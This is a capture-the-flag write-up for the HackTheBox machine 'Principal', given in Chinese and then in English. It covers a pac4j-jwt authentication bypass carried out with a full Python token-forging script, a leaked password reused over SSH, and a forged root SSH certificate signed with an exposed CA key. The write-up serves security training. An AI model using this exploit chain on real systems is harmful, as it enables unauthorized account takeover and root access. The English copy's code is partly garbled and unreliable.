htb principal
枚举
-> nmap -sC -sV -T4 10.129.229.236
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-15 07:48 +0000
Nmap scan report for principal.htb (10.129.229.236)
Host is up (0.42s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 b0:a0:ca:46:bc:c2:cd:7e:10:05:05:2a:b8:c9:48:91 (ECDSA)
|_ 256 e8:a4:9d:bf:c1:b6:2a:37:93:40:d0:78:00:f5:5f:d9 (ED25519)
8080/tcp open http-proxy Jetty
|_http-server-header: Jetty
|_http-open-proxy: Proxy might be redirecting requests
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 Not Found
| Date: Sun, 15 Mar 2026 07:48:35 GMT
| Server: Jetty
| X-Powered-By: pac4j-jwt/6.0.3
| Cache-Control: must-revalidate,no-cache,no-store
| Content-Type: application/json
发现22,8080端口。
Web
8080端口中pac4j-jwt/6.0.3 搜索可以得到
CVE-2026-29000
CVE-2026-29000 是 2026 年披露的一个 严重身份认证绕过漏洞(Authentication Bypass),影响 Java 生态常用的安全框架 pac4j 的 JWT 模块 pac4j-jwt。该漏洞允许攻击者伪造身份令牌,从而直接登录系统甚至获得管理员权限。
下面从多个角度做一个概览:
一、漏洞基本信息
- CVE编号:CVE-2026-29000
- 组件:pac4j-jwt(pac4j安全框架JWT模块)
- 漏洞类型:认证绕过 / JWT验证逻辑缺陷
- 严重等级:Critical(CVSS约 9.1–10.0)
- 披露时间:2026-03-04
影响版本:
- pac4j-jwt 4.0 – 4.5.8
- pac4j-jwt 5.0 – 5.7.8
- pac4j-jwt 6.0 – 6.3.2
修复版本:
- 4.5.9
- 5.7.9
- 6.3.3
二、漏洞核心问题
漏洞发生在 JwtAuthenticator 处理加密 JWT(JWE)时的逻辑错误。
正常 JWT 认证流程:
- 客户端发送 JWT
- 服务端验证签名(JWS)
- 如果是加密 JWT(JWE)
- 先解密
- 再验证签名
但是漏洞版本存在一个问题:
解密后没有强制验证签名。
当内部 JWT 是 PlainJWT(无签名) 时:
toSignedJWT()返回null- 签名校验代码被跳过
- 认证直接通过
因此攻击者可以构造伪造 Token。
三、攻击思路(高层)
攻击者只需要:
1️⃣ 获取服务器 RSA 公钥
(很多系统会公开 JWKS endpoint)
例如:
/.well-known/jwks.json
/pubkey
2️⃣ 构造一个 PlainJWT
例如:
{
"sub": "admin",
"role": "admin"
}
3️⃣ 用服务器公钥加密生成 JWE
4️⃣ 将该 Token 作为
Authorization: Bearer <token>
发送请求
服务器解密后:
- 发现不是 SignedJWT
- 跳过签名校验
- 直接读取 claims
结果:
攻击者成功伪造任意用户身份。
四、漏洞影响范围
这个漏洞影响较大,因为 pac4j 在 Java 生态使用广泛:
常见使用项目包括:
- Apereo CAS
- Apache Knox
- Apache Syncope
- Java Web SSO 系统
- API Gateway / IAM系统
如果使用 JWT + pac4j-jwt 的服务可能受影响。
五、攻击效果
攻击者可以做到:
- 任意用户登录
- 伪造管理员身份
- 绕过认证系统
- 访问受保护 API
- 获取敏感数据
因为无需凭据:
攻击复杂度非常低。
六、漏洞本质
本质是一个典型安全误区:
“加密 ≠ 身份认证”
- JWE:保证数据机密性
- JWS:保证数据完整性和身份
如果只做解密,不做签名验证:
系统就无法确认 token 来源。
七、修复方式
官方建议:
1 升级版本
升级 pac4j-jwt:
4.5.9
5.7.9
6.3.3
修复内容:
- 解密后强制检查 JWT 类型
- 如果不是 SignedJWT → 拒绝认证
2 临时缓解措施
如果无法升级:
可以做一些防护:
- 禁止
alg: none - 拦截异常 JWE token
- WAF检测 JWT 结构
- 监控异常登录日志
- 限制 JWT 公钥访问
八、简单总结
一句话总结这个漏洞:
只用服务器公开的 RSA 公钥,就可以伪造任意用户登录。
属于:
- 认证绕过
- JWT验证逻辑漏洞
- 高危漏洞
USER
现在我们需要服务器的 RSA 公钥
查看源代码发现http://principal.htb:8080/static/js/app.js,其中暴露了几个端点
- const API_BASE = ”;
- const JWKS_ENDPOINT = ‘/api/auth/jwks’; 获取公钥
- const AUTH_ENDPOINT = ‘/api/auth/login’;
- const DASHBOARD_ENDPOINT = ‘/api/dashboard’;
- const USERS_ENDPOINT = ‘/api/users’;
- const SETTINGS_ENDPOINT = ‘/api/settings’;
curl http://principal.htb:8080/api/auth/jwks
# 返回{"keys":[{"kty":"RSA","e":"AQAB","kid":"enc-key-1","n":"lTh54vtBS1NAWrxAFU1NEZdrVxPeSMhHZ5NpZX-WtBsdWtJRaeeG61iNgYsFUXE9j2MAqmekpnyapD6A9dfSANhSgCF60uAZhnpIkFQVKEZday6ZIxoHpuP9zh2c3a7JrknrTbCPKzX39T6IK8pydccUvRl9zT4E_i6gtoVCUKixFVHnCvBpWJtmn4h3PCPCIOXtbZHAP3Nw7ncbXXNsrO3zmWXl-GQPuXu5-Uoi6mBQbmm0Z0SC07MCEZdFwoqQFC1E6OMN2G-KRwmuf661-uP9kPSXW8l4FutRpk6-LZW5C7gwihAiWyhZLQpjReRuhnUvLbG7I_m2PV0bWWy-Fw"}]}
并且发现
// Role constants - must match server-side role definitions
const ROLES = {
ADMIN: 'ROLE_ADMIN',
MANAGER: 'ROLE_MANAGER',
USER: 'ROLE_USER'
};
使用官方脚本
#!/usr/bin/env python3
"""CVE-2026-29000: pac4j-jwt Authentication Bypass"""
import requests
import json
import base64
import time
import sys
from jwcrypto import jwk, jwe
TARGET = sys.argv[1]
# Step 1: Fetch the RSA public key from JWKS
print(f"[+] Fetching RSA public key from JWKS...")
resp = requests.get(f"{TARGET}/api/auth/jwks")
jwks_data = resp.json()
key_data = jwks_data["keys"][0]
pub_key = jwk.JWK(**key_data) # **key_data: 解包字典数据为关键字参数
print(f"[+] Successfully fetched RSA public key from JWKS")
# Step 2: Craft a PlainJWT with admin claims
def b64url_encode(data):
return base64.urlsafe_b64encode(data).rstrip(b"=").decode() # rstrip(b"="): 移除字节串末尾的等号
now = int(time.time())
header = b64url_encode(json.dumps({"alg": "none"}).encode()) # json.dumps(): 将字典转换为JSON字符串 encode(): 将字符串转换为字节串
payload = b64url_encode(json.dumps({
"sub": "admin",
"role": "ROLE_ADMIN",
"iss": "principal-platform",
"iat": now,
"exp": now + 3600,
}).encode())
plain_jwt = f"{header}.{payload}." # 末尾.(没有也要预留): 添加签名
print(f"[+] Crafted PlainJWT with sub=admin, role=ROLE_ADMIN")
# Step 3:Wrap in JWE encrypted with server's RSA public key
jwe_token = jwe.JWE(
plain_jwt.encode(),
recipient=pub_key,
protected=json.dumps({
"alg": "RSA-OAEP-256",
"enc": "A128GCM",
"kid": key_data["kid"],
"cty": "JWT",
})
)
forged_token = jwe_token.serialize(compact=True) # compact=True: 将JWE对象序列化为紧凑格式
print(f"[+] Forged JWE token created")
# Step 4: Access protected endpoints
headers = {"Authorization": f"Bearer {forged_token}"}
print(f"[+] Accessing /api/dashboard...")
resp = requests.get(f"{TARGET}/api/dashboard", headers=headers)
print(f"[+] Status: {resp.status_code}")
data = resp.json()
print(f"[+] Authenticated as: {data['user']['username']} ({data['user']['role']})")
print(f"[+] Token: {forged_token}")
运行后得到token,我们查看app.js可以发现
// Token management
class TokenManager {
static getToken() {
return sessionStorage.getItem('auth_token');
}
static setToken(token) {
sessionStorage.setItem('auth_token', token);
}
static clearToken() {
sessionStorage.removeItem('auth_token');
}
static isAuthenticated() {
return !!this.getToken();
}
static getAuthHeaders() {
const token = this.getToken();
return token ? { 'Authorization': `Bearer ${token}` } : {};
}
}
token在前端运用JavaScript脚本管理,通过在login的控制台加入我们的token
sessionStorage.setItem('auth_token', 'token');
刷新即可进入后台
在设置界面可以发现:encryptionKey:D3pl0y_$$H_Now42! 以及一些用户名
➜ Principal nxc ssh 10.129.229.236 -u user.txt -p 'D3pl0y_$$H_Now42!'
SSH 10.129.229.236 22 10.129.229.236 [*] SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.14
SSH 10.129.229.236 22 10.129.229.236 [-] admin:D3pl0y_$$H_Now42!
SSH 10.129.229.236 22 10.129.229.236 [+] svc-deploy:D3pl0y_$$H_Now42! Linux - Shell access!
ROOT
svc-deploy@principal:~$ id
# uid=1001(svc-deploy) gid=1002(svc-deploy) groups=1002(svc-deploy),1001(deployers)
svc-deploy@principal:~$ ls /opt/principal/
# app deploy ssh
发现三个文件,并且在ssh中发现密钥
svc-deploy@principal:~$ ls /opt/principal/ssh/
# README.txt ca ca.pub
svc-deploy@principal:~$ cat /opt/principal/ssh/README.txt
# 返回:
CA keypair for SSH certificate automation.
This CA is trusted by sshd for certificate-based authentication.
Use deploy.sh to issue short-lived certificates for service accounts.
Key details:
Algorithm: RSA 4096-bit
Created: 2025-11-15
Purpose: Automated deployment authentication
这里提到了deploy.sh ,以及我们可以读取ca私钥
find / -name "deploy.sh" 2>/dev/null 没有找到文件,查看下sshd的配置文件
svc-deploy@principal:~$ cat /etc/ssh/sshd_config.d/60-principal.conf
# Principal machine SSH configuration
PubkeyAuthentication yes
PasswordAuthentication yes
PermitRootLogin prohibit-password
TrustedUserCAKeys /opt/principal/ssh/ca.pub
当OpenSSH的TrustedUserCAKeys配置中没有包含AuthorizedPrincipalsFile时:任何由受信任的CA签署的证书都会被接受。
所以我们可以使用伪造的证书以root身份登录SSH
ssh-keygen -t ed25519 -f /tmp/pwn -N ""
ssh-keygen -s /opt/principal/ssh/ca -I "pwn-root" -n root -V +1h /tmp/pwn.pub
# ssh-keygen (SSH Key Generation Tool):SSH 密钥生成与管理工具。
# -s /opt/principal/ssh/ca (Sign with CA Key):最关键的参数。指定使用位于 /opt/principal/ssh/ca 的 CA 私钥 对证书进行签名。
# -I "pwn-root" (Identity):证书的标识符(Key ID)。这个字符串会被记录在服务器的日志中,通常用于审计(这里你起的标识符是 "pwn-root")。
# -n root (Principals):权限分配。指定该证书允许登录的用户名 (Username)。由于你填了 root,这意味着该证书仅对登录 root 账户有效。
# -V +1h (Validity):有效期 (Validity Period)。指定证书从现在起 1 小时内有效。这是一个聪明的做法,既能完成攻击,又不容易留下长期的后门。
# /tmp/pwn.pub (Public Key to sign):指定你要签名的原始公钥文件。
最后:ssh -i /tmp/pwn root@localhost
攻击链
nmap -> 8080 pac4j-jwt/6.0.3 -> CVE,认证漏洞 -> 管理员面板ssh泄露 -> sshd的错误配置 -> AuthorizedPrincipalsFile没有设置(意味着所有用户可以登录到所有用户) -> 伪造root证书,登录 htb Principal
Enumeration
-> nmap -sC -sV -T4 10.129.229.236
Starting Nmap 7.98 (https://nmap.org) at 2026-03-15 07:48 +0000
Nmap scan report for principal.htb (10.129.229.236)
Host is up (0.42s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 b0:a0:ca:46:bc:c2:cd:7e:10:05:05:2a:b8:c9:48:91 (ECDSA)
|_ 256 e8:a4:9d:bf:c1:b6:2a:37:93:40:d0:78:00:f5:5f:d9 (ED25519)
8080/tcp open http-proxy Jetty
|_http-server-header: Jetty
|_http-open-proxy: Proxy might be redirecting requests
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 Not Found
| Date: Sun, 15 Mar 2026 07:48:35 GMT
| Server: Jetty
| X-Powered-By: pac4j-jwt/6.0.3
| Cache-Control: must-revalidate,no-cache,no-store
| Content-Type: application/json
Ports 22 and 8080 were detected.
Web
A search for pac4j-jwt/6.0.3 on port 8080 revealed relevant information.
CVE-2026-29000
CVE-2026-29000 is a critical authentication bypass vulnerability disclosed in 2026 that affects the pac4j-jwt module of the popular Java security framework pac4j. This vulnerability allows attackers to forge authentication tokens, enabling them to log in to systems directly or even gain administrative privileges.
Here’s an overview from various perspectives:
I. Basic Information about the Vulnerability
- CVE Number: CVE-2026-29000
- Affected Component: pac4j-jwt (the JWT module of the pac4j security framework)
- Vulnerability Type: Authentication bypass / JWT validation logic flaw
- Severity Level: Critical (CVSS score of approximately 9.1–10.0)
- Disclosure Date: March 4, 2026
Affected Versions:
- pac4j-jwt 4.0 – 4.5.8
- pac4j-jwt 5.0 – 5.7.8
- pac4j-jwt 6.0 – 6.3.2
Fixed Versions:
- 4.5.9
- 5.7.9
- 6.3.3
II. Core Issue of the Vulnerability
The vulnerability lies in an error in the logic when the JwtAuthenticator processes encrypted JWT (JWE) tokens.
The normal JWT authentication process is as follows:
- The client sends a JWT.
- The server verifies the signature (JWS).
- If it’s an encrypted JWT (JWE):
- It is decrypted first.
- Then the signature is verified.
However, in the affected versions, there is a problem: The signature is not verified after decryption.
When the internal JWT is a PlainJWT (without a signature):
- The
toSignedJWT()method returnsnull. - The code for verifying the signature is skipped.
- As a result, the authentication is successfully passed.
Therefore, attackers can create forged tokens.
The attacker only needs to do the following:
- Obtain the server’s RSA public key
Many systems expose a JWKS (JSON Web Key Set) endpoint. For example:
/.well-known/jwks.json
pubkey
- Construct a Plain JWT
For instance:
{
"sub": "admin",
"role": "admin"
}
-
Encrypt the JWT using the server’s public key to create a JWE (JSON Web Encryption) token
-
Send the request with the token included as follows:
Authorization: Bearer <token>
Upon decryption by the server:
- The server will recognize that the token is not a Signed JWT.
- It will skip the signature verification process and directly extract the claims from the token.
As a result, the attacker can successfully impersonate any user.
IV. Scope of Vulnerability Impact
This vulnerability is significant because pac4j is widely used in the Java ecosystem. Common applications that utilize pac4j include:
- Apereo CAS
- Apache Knox
- Apache Syncope
- Java-based Web SSO systems
- API Gateways and IAM (Identity and Access Management) systems
Services that use a combination of JWT and pac4j-jwt may be affected.
V. Attack Effects
The attacker can:
- Log in as any user
- Impersonate an administrator
- Bypass the authentication system
- Access protected APIs
- Retrieve sensitive data
Since no credentials are required, the attack complexity is extremely low.
VI. Nature of the Vulnerability
The root cause of this issue is a common security misconception:
“Encryption does not equal authentication.”
JWE ensures data confidentiality, while JWS ensures data integrity and authentication. If only decryption is performed without signature verification, the system cannot verify the authenticity of the token.
VII. Fixing the Vulnerability
Official Recommendations:
1. Upgrade the pac4j-jwt Version**
Upgrade to versions 4.5.9, 5.7.9, or 6.3.3. The updates include:
- Mandatory JWT type checking after decryption
- Rejection of unauthorized tokens if they are not Signed JWTs
2. Temporary Mitigation Measures
If an upgrade is not possible, the following protections can be implemented:
- Block tokens with the
alg: nonealgorithm - Use a WAF (Web Application Firewall) to detect invalid JWT structures
- Monitor for abnormal login attempts
- Restrict access to the server’s RSA public key
VIII. Summary
In simple terms, this vulnerability allows an attacker to impersonate any user simply by using the publicly available RSA public key from the server.
It falls under the categories of:
- Authentication bypass
- JWT validation logic flaws
- A high-risk vulnerability
USER
We now need the server’s RSA public key. By examining the source code at http://principal.htb:8080/static/js/app.js, we can find several exposed endpoints:
const API_BASE = '';const JWKS_ENDPOINT = '/api/auth/jwks';(for obtaining the public key)const AUTH_ENDPOINT = '/api/auth/login';const DASHBOARD_ENDPOINT = '/api/dashboard';const USERS_ENDPOINT = '/api/users';const SETTINGS_ENDPOINT = '/api/settings';
To obtain the public key, execute the following command:
curl http://principal.htb:8080/api/auth/jwks
Return the following JSON object:
{“keys”: [{“kty”: “RSA”, “e”: “AQAB”, “kid”: “enc-key-1”, “n”: “lTh54vtBS1NAWrxAFU1NEZdrVxPeSMhHZ5NpZX-WtBsdWtJRaeeG61iNgYsFUXE9j2MAqmekpnyapD6A9dfSANhSgCF60uAZhnpIkFQVKEZday6ZIxoHpuP9zh2c3a7JrknrTbCPKzX39T6IK8pydccUvRl9zT4E_i6gtoVCUKixFVHnCvBpWJtmn4h3PCPCIOXtbZHAP3Nw7ncbXXNsrO3zmWXl-GQPuXu5-Uoi6mBQbmm0Z0SC07MCEZdFwoqQFC1E6OMN2G-KRwmuf661-uP9kPSXW8l4FutRpk6-LZW5C7gwihAiWyhZLQpjReRuhnUvLbG7I_m2PV0bWWy-Fw”}]}
And it was discovered that:
```jsx
// Role constants must match the server-side role definitions
const ROLES = {
ADMIN: 'ROLE_ADMIN',
MANAGER: 'ROLE_MANAGER',
USER: 'ROLE_USER'
};
The official script used is as follows:
#!/usr/bin/env python3
"""CVE-2026-29000: pac4j-jwt Authentication Bypass"""
import requests
import json
import base64
import time
import sys
from jwcrypto import jwk, jwe
TARGET = sys.argv[1]
# Step 1: Fetch the RSA public key from JWKS
print(f"[+] Fetching RSA public key from JWKS...")
resp = requests.get(f"{TARGET}/api/auth/jwks")
jwks_data = resp.json()
key_data = jwks_data["keys"][0]
pub_key = jwk.JWK(**key_data) # **key_data: Unpack the dictionary data into keyword arguments
print(f"[+] Successfully fetched RSA public key from JWKS")
# Step 2: Craft a Plain JWT with admin claims
def b64url_encode(data):
return base64.urlsafe_b64encode(data).rstrip(b="=".decode()) # rstrip(b="="): Remove the equal sign at the end of the byte string
now = int(time.time())
header = b64url_encode(json.dumps({"alg": "none"}).encode()) # json.dumps(): Convert the dictionary to a JSON string
payload = b64url_encode(json.dumps({
"sub": "admin",
"role": "ROLE_ADMIN",
"iss": "principal-platform",
"iat": now,
"exp": now + 3600,
}).encode()
plain_jwt = f"{header}.{payload}." # A period (.) is added at the end; it should be there even if not required: To include the signature
print(f"[+] Plain JWT with sub=admin and role=ROLE_ADMIN has been crafted")
Step 3: Encrypt the token using JWE with the server’s RSA public key
jwe_token = jwe.JWE( plain_jwt.encode(), recipient=pub_key, protected=json.dumps({ “alg”: “RSA-OAEP-256”, “enc”: “A128GCM”, “kid”: key_data[“kid”], “cty”: “JWT”, }) ) forged_token = jwe_token.serialize(compact=True) # Serialize the JWE object in a compact format print(f”[+] Forged JWE token created”)
Step 4: Access protected endpoints
headers = {“Authorization”: f”Bearer {forged_token}”}
print(f”[+] Accessing /api/dashboard…”) resp = requests.get(f”{TARGET}/api/dashboard”, headers=headers) print(f”[+] Status: {resp.status_code}”) data = resp.json() print(f”[+] Authenticated as: {data[‘user’][‘username’]} ({data[‘user’][‘role’]})”)
print(f”[+] Token: {forged_token}”)
After executing the code, we obtain a token. By checking the `app.js` file, we can see the following JavaScript code for token management:
```jsx
// Token management
class TokenManager {
static getToken() {
return sessionStorage.getItem('auth_token');
}
static setToken(token) {
sessionStorage.setItem('auth_token', token);
}
static clearToken() {
sessionStorage.removeItem('auth_token');
}
static.isAuthenticated() {
return !!this.getToken();
}
static getAuthHeaders() {
const token = this.getToken();
return token ? { 'Authorization': `Bearer ${token}` } : {};
}
}
The token is managed using JavaScript on the front end. We can add the token to the sessionStorage by executing the following code in the login function:
sessionStorage.setItem('auth_token', 'token');
After refreshing the page, we can access the backend.
In the settings interface, we can find the following information: encryptionKey: D3pl0y_$$H_Now42! as well as some user names.
➜ Principal nxc ssh 10.129.229.236 -u user.txt -p 'D3pl0y_$$H_Now42!'
SSH 10.129.229.236 22 10.129.229.236 [*] SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.14
SSH 10.129.229.236 22 10.129.229.236 [-] admin:D3pl0y_$$H_Now42!
SSH 10.129.229.236 22 10.129.229.236 [+] svc-deploy:D3pl0y_$$H_Now42! Linux - Shell access!
Access as the ROOT user
svc-deploy@principal:~$ id
User ID: 1001 (svc-deploy), Group ID: 1002 (svc-deploy); Members of groups: 1002 (svc-deploy) and 1001 (deployers)
```bash
svc-deploy@principal:~$ ls /opt/principal/
# Files in the /opt/principal/ directory: app, deploy, ssh
Three files were identified, and a key was found in the ssh directory.
svc-deploy@principal:~$ ls /opt/principal/ssh/
# Files in the /opt/principal/ssh/ directory: README.txt, ca.pub
svc-deploy@principal:~$ cat /opt/principal/ssh/README.txt
# Content of README.txt:
# This CA keypair is used for automated SSH certificate issuance.
# The sshd daemon trusts this CA for certificate-based authentication.
# Use the deploy.sh script to generate temporary certificates for service accounts.
# Key details:
# Algorithm: RSA 4096-bit
# Created: November 15, 2025
# Purpose: Automated deployment authentication
The deploy.sh script is mentioned, and it is possible to access the CA private key.
The find command (find / -name "deploy.sh" 2>/dev/null) did not find any matching files. Let’s check the sshd configuration file:
svc-deploy@principal:~$ cat /etc/ssh/sshd_config.d/60-principal.conf
# SSH configuration for the principal machine:
# PubkeyAuthentication: Enabled
# PasswordAuthentication: Enabled
# PermitRootLogin: Prohibits password-based login
# TrustedUserCAKeys: Points to the CA’s public key file (/opt/principal/ssh/ca.pub)
When the TrustedUserCAKeys setting in sshd does not include the AuthorizedPrincipalsFile, any certificate signed by a trusted CA will be accepted.
Therefore, it is possible to create a forged certificate to log in to the system as the root user using SSH:
ssh-keygen -t ed25519 -f /tmp/pwn -N ""
ssh-keygen -s /opt/principal/ssh/ca -I "pwn-root" -n root -V +1h /tmp/pwn.pub
# Explanation of the commands:
# ssh-keygen: A tool for generating and managing SSH keys.
# -s /opt/principal/ssh/ca: Specifies to use the CA’s private key for signing the certificate.
# -I "pwn-root": Identifies the certificate (used for logging in to the server).
# -n root: Specifies the user authorized to log in with this certificate (root).
# -V +1h: Sets the certificate to be valid for 1 hour. This ensures the attack is temporary and does not create a persistent backdoor.
# /tmp/pwn.pub: The public key to be signed.
Finally, we can attempt to log in using the forged certificate:
ssh -i /tmp/pwn root@localhost
Attack chain:
nmap -> Port 8080 (vulnerability detected: pac4j-jwt/6.0.3) -> Authentication vulnerability exploited -> SSH credentials exposed in the administrator panel -> Incorrect sshd configuration -> The `AuthorizedPrincipalsFile` is not set, allowing any user to log in to any account -> Forged root certificate is used to gain access.